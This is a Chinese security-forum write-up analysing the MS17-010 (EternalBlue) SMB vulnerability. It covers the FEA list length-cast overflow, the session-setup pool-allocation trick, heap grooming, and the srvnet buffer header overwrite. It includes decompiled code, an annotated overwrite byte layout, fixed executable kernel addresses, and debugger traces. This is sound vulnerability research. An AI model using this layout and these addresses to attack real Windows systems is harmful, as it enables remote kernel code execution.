本文为看雪论坛优秀文章
看雪论坛作者ID:Rixo_叶默
近期重新分析了ms17-010漏洞,想写一个自己的工具。在重新分析的过程中,又发现了很多之前没有进行深究的问题,由于很多东西还没有弄明白,先记录一下自己的分析过程以及踩的坑,不由感慨漏洞分析和想要实际利用两者之间的差距确实挺大的。
环境:
参考资料:
一
简介
本文将介绍以下的内容:
>> 漏洞完整利用流程介绍
>> 漏洞溢出部分分析
>> 漏洞触发部分的分析
>> 漏洞的内存布局的分析
二
漏洞完整利用流程
该漏洞主要是利用smb1和smb2的协议兼容问题,和windows在处理fealist结构体和ntfeallist结构体过程中大小计算错误导致的数据溢出漏洞。
在进行堆喷射过程中,为了实现非页内存的布局,又利用用了一个SMB_COM_SESSION_SETUP_ANDX 计算smbv1和smbv2结构体转化的漏洞,实现了任意大小的非页内存申请,从而间接利用系统的内存管理机制实现内存布局。
漏洞触发部分,在内存溢出和堆布局的基础上实现了对srvnet头部结构的覆盖,其中对MDL指针的覆盖,使得后续发送的srvnetbuff内容被保存到了特定可执行的内存地址(0xffdff000)中,于是在释放srvnet链接后,处理函数会执行0xffdff000地址处的shellcode,从而实现漏洞利用。
三
溢出部分分析
这部分的漏洞分析是大部分文章都有写的,主要成因是由于SrvOs2FeaListSizeToNt函数在进行fealist到ntfeallist的长度计算过程中进行了一个强制类型转换,导致了四个字节的长度只覆盖了低位的两个字节,数据在转换过程中大于申请的内存空间,从而实现溢出。此处就主要介绍一下为什么会出现四个字节转两个字节的情况?
基础知识
SMB协议中,使用一串的命令来代表执行的操作的,当传输的数据过大时,smb通常会有一个子命令进行传输,并用传输过程中的TID,UID,PID,MID来判断是哪一个命令的后续数据。
例如,smbv1中的SMB_COM_NT_TRANSACT命令,在传输消息过大时,便会使用SMB_COM_NT_TRANSACT_SECONDARY来完成后续的数据传输。
而在smbv2中SMB_COM_TRANSACTION2 作为SMB_COM_NT_TRANSACT的扩展命令,两者的请求结构体十分相似,功能也差不多,但在计算消息内容长度TotalDataCount时,SMB_COM_TRANSACTION2使用的是USHORT类型(两字节),SMB_COM_NT_TRANSACT使用的是ULONG类型(四字节)。
NSA工具在利用该漏洞时,先传入了一个SMB_COM_NT_TRANSACT命令的头,后续内容利用相同TID, PID, UID, MID的SMB_COM_TRANSACTION2_SECONDARY进行传输的。没加补丁之前,windows仅通过TID, PID, UID, MID来识别命令是否一致,而消息命令的类型是由最后一个传入的命令类型确定的。这样就造成了传入NT_TRANSACT消息,但实际上是运行的却是TRANSACTION2命令的处理流程。
所以,在补丁修复中,除了修复SrvOs2FeaListSizeToNt的类型强转外,还同时在 ExecuteTransaction函数中添加了一个类型比较的判断。
用到的几个结构体的定义如下:
typedef struct _FEALIST {
_ULONG( cbList );
FEA list[1];
} FEALIST;
typedef struct _FEA {
UCHAR fEA; // flag 标志位用于判断循环是否结束
UCHAR cbName; // 名字长度
_USHORT( cbValue ); // 值长度
} FEA;
// ntfealist,windows中没有直接对fealist结构进行操作而是统一使用ntfealist操作
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
调试过程
trans2接受完数据后会通过dispatchtable调用srv!SrvSmbOpen2函数对接收到的数据进行处理,函数首先会读取接收到的transion数据,然后获取其中fealist结构体的部分,将fealist结构体转成Ntfealist结构体。
SMB_TRANS_STATUS SrvSmbOpen2 (IN OUT PWORK_CONTEXT WorkContext){
//...
transaction = WorkContext->Parameters.Transaction;
//...
feaList = (PFEALIST)transaction->InData;
//... Convert the FEALIST to NT style.
status = SrvOs2FeaListToNt(
feaList,
&ntFullEa,
&ntFullEaBufferLength,
&os2EaErrorOffset
);
}
在SrvOs2FeaListToNt函数中,首先是SrvOs2FeaListSizeToNt对于结构体长度的强转赋值,导致fealist的结构体长度是错误的,所以后续计算最后一个结构体指针的地址也是错误的。在后续循环转化ntfealist的过程中,循环是以fea结构体标志位和与最后一个结构体指针地址比较进行的条件判断,结构体标志位由用户传入,可控,指针地址错误的计算,可控,所以可以精准控制溢出字节。
unsigned int __stdcall SrvOs2FeaListToNt(_FEALIST *FeaList, _DWORD *NtFullEa, _DWORD *BufferLength, _WORD *EaErrorOffset)
{
int NtBufferLen; // eax
_FEALIST *NtfeaAddr; // eax
FEA *feaLast; // ebx
FEA *fea; // esi
unsigned int v10; // esi
__int16 v11; // [esp+8h] [ebp-4h]
_FEALIST *NtFeaAddr; // [esp+14h] [ebp+8h]
v11 = 0;
NtBufferLen = SrvOs2FeaListSizeToNt(FeaList); // 计此处算长度出错
*BufferLength = NtBufferLen;
if ( !NtBufferLen )
{
*EaErrorOffset = 0;
return 0xC098F0FF; // STATUS_OS2_EA_LIST_INCONSISTENT
}
NtfeaAddr = (_FEALIST *)SrvAllocateNonPagedPool(NtBufferLen, 21);// 用ntfea的length申请内存空间
*NtFullEa = NtfeaAddr;
if ( NtfeaAddr )
{
// 问题就出现在了这里,cbList经过刚刚的赋值已经发生了改变,这个feaLast的指针地址远远大于fea最后一个结构体指针地址
feaLast = (FEA *)((char *)FeaList + FeaList->cbList - 5);// 为了保证至少有一个fea结构 FeaList+Feal->cbList - sizeof(Fea)
fea = FeaList->list;
if ( FeaList->list > feaLast )
{
LABEL_13:
if ( fea == (FEA *)((char *)FeaList + FeaList->cbList))// 如果cblist长度是0,那么就把Ntfea的长度也设为0
{
NtfeaAddr->cbList = 0;
return 0;
}
*EaErrorOffset = v11 - (_WORD)FeaList;
v10 = 0xC0000001; // STATUS_SUCCESS
}
else
{
while ( (fea->fEA & 0x7F) == 0 ) // 判断每个fea的标志位是不是80或00,不是就跳出循环
{ // 注意,这里是以标志位为循环判断基础的,而本来那个损坏的fea结构体是不在拷贝范围内的,但由于长度计算错误,会出现在拷贝的范围内。
NtFeaAddr = NtfeaAddr;
v11 = (__int16)fea;
NtfeaAddr = (_FEALIST *)SrvOs2FeaToNt(NtfeaAddr, fea);// 拷贝内存,导致溢出的部分
fea = (FEA *)((char *)fea + fea->cbName + fea->cbValue + 5);// 赋值下一个fea
if ( fea > feaLast ) // 这个地方由于feaLast的地址计算错误,所以肯定大于fea地址
{
NtfeaAddr = NtFeaAddr;
goto LABEL_13;
}
}
*EaErrorOffset = (_WORD)fea - (_WORD)FeaList;
v10 = 0xC000000D; // STATUS_INVALID_PARAMETER
}
SrvFreeNonPagedPool(*NtFullEa);
return v10;
}
if ( *((_BYTE *)WPP_GLOBAL_Control + 29) >= 2u
&& (*((_BYTE *)WPP_GLOBAL_Control + 32) & 1) != 0
&& KeGetCurrentIrql() < 2u )
{
DbgPrint("SrvOs2FeaListToNt: Unable to allocate %d bytes from nonpaged pool.", *BufferLength);
DbgPrint("\n");
}
return 0xC0000205; // STATUS_INSUFF_SERVER_RESOURCES
}
在SrvOs2FeaListSizeToNt函数中,实现了两个功能,一是计算ntfealist结构体的长度并用于申请后续空间,二是对fealist结构的长度进行重新赋值,防止由于该长度被用户输入控制导致错误,在实现第二个功能的时候,由于trans2消息的总长度为两个字节,所以在此处进行了强转导致了最终长度计算出错。
ULONG SrvOs2FeaListSizeToNt (IN PFEALIST FeaList){
unsigned int v1;
int Length;
PUCHAR pBody;
PUCHAR v4;
int v5;
int v8;
unsigned int v9;
v1 = 0;
Length = *(DWORD*)pOs2Fea;
pBody = pOs2Fea + 4;
v9 = 0;
v4 = pOs2Fea + Length;
while (pBody < v4)
{
if (pBody + 4 >= v4
|| (v5 = *(BYTE *)(pBody + 1) + *(WORD *)(pBody + 2),
v8 = *(BYTE *)(pBody + 1) + *(WORD *)(pBody + 2),
v5 + pBody + 5 > v4))
{
// 此处的强转导致赋值出错
*(WORD *)pOs2Fea = pBody - pOs2Fea;
return v1;
}
if (RtlULongAdd(v1, (v5 + 0xC) & 0xFFFFFFFC, &v9) < 0)
return 0;
v1 = v9;
pBody += v8 + 5;
}
return v1;
}
四
shellcode触发部分分析
基础知识
MDL(https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls)是windows内核中一个比较重要的结构,这个结构负责将用户空间中的内存通过MDL机制映射到系统地址空间。将I/O数据写入到指定的MDL指定虚拟地址中,在实际利用中client发送的数据会写入到指定的虚拟地址中,这样就可以传入可控的数据到指定的地址。
pSrvNetWskStruct: 指向SrvNetWskStruct结构体,该结构体中存在一个函数指针HandlerFunction,该函数会在srvnet连接中断时进行调用;那么如果pSrvNetWskStruct指向的结构体是伪造的,那么就可以很顺利的触发命令执行。
heap中可执行代码的固定地址
// win7
0xffdff000 // 32位
0xffffffffffd00010 // 64位
// win8\win10
0xffffffffffd04000 // 64位
调试过程
由于我们知道倒数第二个Fea结构的value部分是f383,之后又拷贝了个a8的长度,所以这里是在value拷贝处下断点。
kd> ba e1 srv!SrvOs2FeaToNt+0x4d ".if(poi(esp+8) != a8){gc} .else {}"
下面红线开始的部分为越界拷贝的那个ntfealist结构体,可以看到精准溢出的实际上是一个a8长度的字段:
越界前:
85774000 00011000 00000000 00000000 00000000
85774010 8b6f0008 871b5e60 871b5e60 85774160
85774020 00010ea0 00000080 8577403c 00000000
85774030 0000fff7 85774010 857740a4 00000000
85774040 10040060 00000000 85774160 85774000
85774050 00010ea0 00000160 0003fd74 0003fd75
85774060 0003fd76 0003fd77 0003fd78 0003fd79
85774070 0003fd7a 0003fd7b 0003fd7c 0003fd7d
85774080 0003fd7e 0003fd7f 0003fd80 0003fd81
85774090 0003fd82 0003fd83 0003fd84 48be015c
857740a0 7447dbac 00000000 00000064 00020004
857740b0 00020000 00000000 00010ea0 00000fff
857740c0 00000000 00000000 00000000 00000000
857740d0 8b701820 005c003a 00650044 00690076
857740e0 00650063 0048005c 00720061 00640064
857740f0 00730069 0056006b 006c006f 006d0075
85774100 00310065 0050005c 006f0072 00720067
85774110 4e4e4e4e 4e4e4e4e 4e4e4e4e 4e4e4e4e
85774120 4e4e4e4e 4e4e4e4e 4e4e4e4e 4e4e4e4e
85774130 4e4e4e4e 4e4e4e4e 4e4e4e4e 4e4e4e4e
越界后:
85774000 00000000 00000000 0000ffff 00000000
85774010 0000ffff 00000000 00000000 00000000
85774020 00000000 00000000 ffdff100 00000000
85774030 00000000 ffdff020 ffdff100 ffffffff
85774040 10040060 00000000 ffdfef80 00000000
85774050 ffd00010 ffffffff ffd00118 ffffffff
85774060 00000000 00000000 00000000 00000000
85774070 10040060 00000000 00000000 00000000
85774080 ffcfff90 ffffffff 00000000 00000000
85774090 00001080 00000000 00000000 00000000
857740a0 7447db76 00000000 00000064 00020004
857740b0 00020000 00000000 00010ea0 00000fff
857740c0 00000000 00000000 00000000 00000000
857740d0 8b701820 005c003a 00650044 00690076
857740e0 00650063 0048005c 00720061 00640064
857740f0 00730069 0056006b 006c006f 006d0075
85774100 00310065 0050005c 006f0072 00720067
85774110 4e4e4e4e 4e4e4e4e 4e4e4e4e 4e4e4e4e
85774120 4e4e4e4e 4e4e4e4e 4e4e4e4e 4e4e4e4e
85774130 4e4e4e4e 4e4e4e4e 4e4e4e4e 4e4e4e4e
精准覆盖的SRVNET_HEADER部分字段含义如下:
chunk 80 00 a8 00 00 00 00 00 00 00 00 00
0x00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 00 00
0x10 ff ff 00 00 # 用来让srvnet!SrvNetFreeBuffer函数真的释放空间,防止被直接置0重复使用
0x14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x24 00 00 00 00
0x28 00 f1 df ff 00 00 00 00 00 00 00 00
0x34 20 f0 df ff # shellcode触发链指针
0x38 00 f1 df ff # _
0x3c 00 00 00 00 # MDL.next
0x40 60 00 # MDL.size
0x42 04 10 # MDL.MdlFlags
0x44 00 00 00 00 # MDL.*Process
0x48 80 ef df ff # MDL.MappedSystemVa x86_addr-0x80
0x4c 00 00 00 00 # _ 这里后续本来应该是StartVa,ByteCount,ByteOffset
0x50 10 00 d0 ff ff ff ff ff # x64 MDL
0x58 10 01 d0 ff ff ff ff ff # x64 pmdl2
0x60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x70 60 00 # MDL.size
0x72 04 10 # MDL.MdlFlags
0x74 00 00 00 00 00 00 00 00 00 00 00 00
0x80 90 ff cf ff ff ff ff ff # x64_addr-0x80
其中需要关注的是偏移0x34处的指针,该指针正常情况下最终指向的是srv!SrvReceiveHandler,用于处理会话结束后的情况。指针调用的逻辑如下:
// srvnet!SrvNetWskReceiveComplete+13
mov edi, [esi+24h]
// srvnet!SrvNetIndicateData+17
mov ebx, dword ptr [ebp+8]
// srvnet!SrvNetCommonReceiveHandler+13
mov esi, dword ptr [ebp+8]
// srvnet!SrvNetCommonReceiveHandler+64
mov eax, dword ptr [esi+16Ch]
// srvnet!SrvNetCommonReceiveHandler+0x91
call dword ptr [eax+4] // 该处为shellcode执行的地方
感兴趣的可以下断点观察:
kd> ba e1 ffdff1f1
kd> bu srvnet!SrvNetWskReceiveComplete+17"r $t0=poi(esi+24h);r $t1=poi(@$t0+16c);.if(@$t1 !=0x00000000){.printf \"srvnet!SrvNetWskReceiveComplete+17 addr: %p val:%p val+16c:%p *(val+16c):%p func:%p\\n\",esi+24h,@$t0,@$t0+16c,@$t1,poi(@$t1+0x4);gc;} .else {gc;}"
五
漏洞的内存布局实现
基础知识
SMB_COM_SESSION_SETUP_ANDX消息是SMB中用来以ntml协议验证的命令,但是对于ntml v1(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/81e15dee-8fb6-4102-8644-7eaa7ded63f7?redirectedfrom=MSDN)和 ntml v2(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/a00d0361-3544-4845-96ab-309b4bb7705d)却有两个不同的请求结构体,而其中两个WordCount的值是不一样的。
在BlockingSessionSetupAndX函数中,由于逻辑判断的错误,我们可以发送Extended Security request(12)附带CAP_EXTENDED_SECURITY,但不附带FLAG2_EXTENDED_SECURITY,将请求伪装成SMB_COM_SESSION_SETUP_ANDX(13)。函数伪代码如下:
BlockingSessionSetupAndX(request, smbHeader)
{
// check word count
if (! (request->WordCount == 13 || (request->WordCount == 12 && (request->Capablilities & CAP_EXTENDED_SECURITY))) ) {
// error and return
}
// ...
if ((request->Capablilities & CAP_EXTENDED_SECURITY) && (smbHeader->Flags2 & FLAGS2_EXTENDED_SECURITY)) {
// this request is Extend Security request
GetExtendSecurityParameters(request); // extract parameters and data to variables
SrvValidateSecurityBuffer(request); // do authentication
}
else {
// this request is NT Security request
GetNtSecurityParameters(request,&smbInformationLength); // extract parameters and data to variables
SrvValidateUser(request); // do authentication
}
// ...
length = isUnicode ? smbInformationLength :smbInformationLength*sizeof( WCHAR );
infoBuffer = ALLOCATE_NONPAGED_POOL(length,BlockTypeDataBuffer);
}
从伪代码中可以看出,这样我们会调用GetNtSecurityParameters函数,这个函数在Extended Security request(12)被当作SMB_COM_SESSION_SETUP_ANDX(13)请求解析时,会将SecurityBlob解析为ByteCount的大小,并在接下来根据是否是unicode字符串来分配空间。这样就可以创造处大小可控的非分页内存空间。
调试过程
首先,NSA工具集会使用匿名验证获取TID, PID, UID, MID以及系统版本信息,然后通过发送Trans2命令,判断是否已经存在NSA后门。
然后利用Trans2的漏洞先发送除了最后一帧外的所有数据包,这样由于最后一帧没有发送,就不会触发fealist计算Ntfealist的过程,不会对Ntfealist的空间进行申请。
然后,利用SMB_COM_SESSION_SETUP_ANDX的漏洞,构造一个稍大的内存空间,该空间主要是用来容纳需要被覆盖的那几个srvnet结构的,这里我们叫它Buff1。
紧接着,申请了一堆srvnet的连接,这样的申请会将非分页内存空间中大小与srvnet空间大小相近的空闲空间全部占满,这样在后面再次申请空间时,就会将大块空间进行拆分,然后再次分配出去。
然后又创建了一块大空间Buff2,这块空间的大小与转化后的Ntfealist空间大小相似,由于Buff1和Buff2的空间都属于较大的,在分页内存空间中分配大概率会前后紧挨着,分页内存在分配时又会从低地址向高地址进行分配,此时的空间布局应该是Buff2+Buff1。
紧接着,NSA工具将Buff1的空间进行释放,同时又申请了5块srvnet空间,5块srvnet空间大小刚好和Buff1的空间大小接近,而前面srvnet空间大小的非分页内存又被之前申请的srvnet连接占满,所以这5块SrvnetBuff将会被系统拆分Buff1后分配。所以此时内存布局改变为Buff2+SrvnetBuff*5。
关键点来了,再又一次的网络连接判断后,NSA工具释放了Buff2的内存空间,并且发送最后一帧Trans2数据,触发了溢出漏洞,这样申请到的Ntfealist的空间大概率就是Buff2。此时的内存布局就变成了Ntfealist+SrvnetBuff*5,这样溢出后必定会覆盖5个SrvnetBuff中的一个。
覆盖后,由于Srvnetbuff的头部我们修改了PMDL结构体指针,所以再次发送数据,内容将会放到我们指定的内存空间0xffdff000 处,这个内存是块可执行的空间。
最终通过我们预先改变的DisconnectHandleFunc指针链,我们会在srvnet!SrvNetCommonReceiveHandler+0x91处调用传入的shellcode,shellcode的地址为0xffdff1f1。
六
小结
虽然还是比较努力的分析了,但越分析越发现自己依旧有很多不明白的地方,记录下目前还遗留的坑点。
在分析过程中,我发现这个漏洞的利用其实很难在流量层进行检测,堆布局的手法可以改变,同时覆盖的指针结构数据也可以改变,非分页内存中可执行的地址也可以改变,Shellcode的具体大小没有限制,在IDS层进行的检测基本都能绕过,确实是个相当好的组合漏洞,对当年就能写这种工具的大佬佩服地五体投地。
看雪ID:Rixo_叶默
https://bbs.pediy.com/user-home-859191.htm
早鸟票已售罄!2.5折门票抢购中
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!